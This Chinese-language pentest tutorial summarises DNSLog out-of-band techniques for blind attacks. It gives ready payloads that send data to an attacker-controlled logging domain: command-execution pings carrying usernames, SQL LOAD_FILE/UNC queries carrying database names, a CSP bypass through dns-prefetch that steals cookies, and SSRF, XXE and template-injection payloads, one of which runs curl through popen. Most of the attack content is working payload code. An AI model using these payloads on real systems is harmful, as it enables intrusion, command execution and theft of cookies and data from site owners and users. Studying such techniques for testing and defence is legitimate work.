DNSLog 盲注總結
眾所周知,我們輸入的域名需要通過DNS服務器進行解析得到IP地址才能通過IP訪問網站,DNSLog就是存儲在DNS服務器上的域名信息,它記錄著用戶對域名訪問的信息,類似日志文件。我們只需要搭建一個的DNS服務器,并將要盲打或盲注的回顯,放到自己域名的二級三級甚至更多級的子域名上去請求,就可以通過DNS解析日志來獲取到它們。
DNSLog部署過程:
- 申請一個域名,如 xie.com
- 在我們的VPS上安裝并配置DNS服務器
- 將 xie.com 的DNS服務器設置為我們的VPS地址
這樣,所有訪問 xie.com 的二級三級四級等等子域名都會被解析到我們的VPS上。我們就可以通過查詢DNS解析記錄來獲得命令執行的回顯了。
由于申請域名需要錢還要進行部署,十分麻煩,我們可以利用一些在線的DNSLog平臺:
- http://ceye.io
- http://www.dnslog.cn
這里我們取得一個DNS域名
t6n089.ceye.io
命令執行
無回顯得命令執行語句可以使用DNSLog來查看結果。
- window
ping %USERNAME%.t6n089.ceye.io

- *nix
ping `whoami`.t6n089.ceye.io

都可以看到我們的用戶名顯示在域名的最左邊
SQL
通過DNSlog盲注需要用的load_file()函數,所以一般得是root權限。先show variables like '%secure%';查看load_file()可以讀取的磁盤。
mysql> show variables like '%secure%';+--------------------------+-------+| Variable_name | Value |+--------------------------+-------+| require_secure_transport | OFF || secure_auth | ON || secure_file_priv | NULL |+--------------------------+-------+3 rows in set, 1 warning (0.01 sec)
- 當secure_file_priv為空,就可以讀取磁盤的目錄。
- 當secure_file_priv為G:\,就可以讀取G盤的文件。
- 當secure_file_priv為null,load_file就不能加載文件。
這里為NULL,因此需要在my.ini配置文件中修改權限,把配置文件中的這一行改為(沒有就加上):
secure_file_priv=""
UNC路徑
以下是百度的UNC路徑的解釋
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。
其實我們平常在Widnows中用共享文件的時候就會用到這種網絡地址的形式\\sss.xxx\test\
這也就解釋了為什么CONCAT()函數拼接了4個\了,因為轉義的原因,4個就變\成了2個\,目的就是利用UNC路徑。
因為Linux沒有UNC路徑這個東西,所以當MySQL處于Linux系統中的時候,是不能使用這種方式外帶數據
payload:
SELECT LOAD_FILE(CONCAT('\\\\',(查詢語句),'.t6n089.ceye.io\\abc'));
example:
在本地搭建了一個SQL注入的環境,在XP系統上似乎不行,原因未知,而在WIN10能夠成功執行。
http://127.0.0.1:81/db.php?id=' and (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.t6n089.ceye.io\\abc')))--+

XSS
對于沒有回顯的XSS,我們要想知道是否成功也可以利用src屬性填入得到的域名。
example:
payload:
http://127.0.0.1:81/sql.php?input=>6n089.ceye.io/aaa>

繞過CSP
CSP(內容安全策略)是防御XSS最有效的手段之一。當我們發現一個網站有XSS漏洞,想利用XSS平臺來打Cookie時,CSP會通過白名單的方式,禁止跨域加載腳本,惡意代碼便會因此被阻擋在門外,導致此XSS無法利用。對此,我們可以使用DNS預解析突破CSP的阻攔。
DNS預解析(DNS Prefetching)是一種能夠加快網頁加載速度的技術,對于跨站的鏈接,由于每次都要進行一次DNS解析,會消耗掉很多時間。DNS預解析在瀏覽器空閑時,將跨站資源的域名轉化為IP 地址并緩存,真正請求資源時就避免了解析的時間。有趣的是,DNS預解析是默認開啟的,并且我們可以通過rel="dns-prefetch"來強制進行DNS預解析。
由于DNS預解析可以繞過CSP進行解析,結合DNSLOG,我們即可竊取在CSP保護下的Cookie。
example:
網站的源碼:
setcookie("test","test",time()+3600);?><html><meta http-equiv="Content-Security-Policy" content="default-src 'self'"><head><title>DNSLog_XSS原理重現title>head><body><form action="" method="get"><input type="text" name="input"><input type="submit">form><hr>$xss = $_GET['input'];echo '你輸入的字符為
'.$xss;$myfile = fopen("./set_cookie.js", "w") or die("Unable to open file!");fwrite($myfile, $xss);fclose($myfile);?><script src="set_cookie.js">script>body>html>
這里網站通過標簽設置了CSP為只能加載當前域名的腳本,也就是說無法使用內聯的腳本,攻擊者需要找到能夠注入XSS的JavaScript腳本的外聯文件,這里我們可以看到后端把我們輸入的值寫入了set_cookie.js文件中,然后又通過外聯腳本引入了這個文件,這樣我們就可以通過這里來進行XSS攻擊。
在沒有CSP情況下,我們通常是通過等有src屬性的標簽帶上cookie作為參數去訪問我們的服務器:
var img = document.createElement("img");img.src = "http://t6n089.ceye.io/log?"+escape(document.cookie);document.body.appendChild(img);
由于這里有CSP限制了不能讀取外部的資源,因此這里會報錯。

這里我們就可以使用DNS預解析去進行繞過:
payload:
?input=document.querySelector('body').innerHTML="";
URL編碼后:
?input=document.querySelector('body').innerHTML%3D%22%3Clink%20rel%3D'dns-prefetch'%20href%3D'http%3A%2F%2F%22%2Bdocument.cookie.split(%2F%3B%7C%3D%2F)%5B0%5D.trim()%2B%22.t6n089.ceye.io'%3E%22%3B

這種利用方法十分苛刻,因為不僅要找到能夠修改后臺的外聯JavaScript文件的方法,而且作為XSS攻擊,此payload過長,容易被懷疑,而使用短鏈接加載外部腳本有會被CSP禁止,再加上根據DNS的規定,域名的長度是有限制的,有時可能不發將長cookie完全帶出。
SSRF
一個沒有回顯的SSRF場景,我們同樣可以通過DNSLog知道是否存在漏洞
example:
http://127.0.0.1:81/sql.php?url=http://ssrf.t6n089.ceye.io

XXE
當我們遇到XXE,如果這個XXE漏洞可以解析外部實體,那么不用說,就可以拿來讀取本地服務器文件,這時,我們只需把dtd文件改成這樣
root [remote SYSTEM "http://t6n089.ceye.io">%remote;]><root>666<root/>
就可以通過DNS服務器來查看是否存在XXE漏洞。
模板注入
在模板注入碰到盲注的時候可以使用
{% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("curl `whoami`.t6n089.ceye.io").read()=='ssti' %}1{% endif %}

參考資料
巧用DNSlog實現實現無回顯注入:http://www.0xby.com/916.html
Bypassing Content-Security-Policy with DNS prefetching:https://blog.compass-security.com/2016/10/bypassing-content-security-policy-with-dns-prefetching/
使用DNSLOG獲取漏洞的回顯:https://www.redhatzone.com/ask/article/1402.html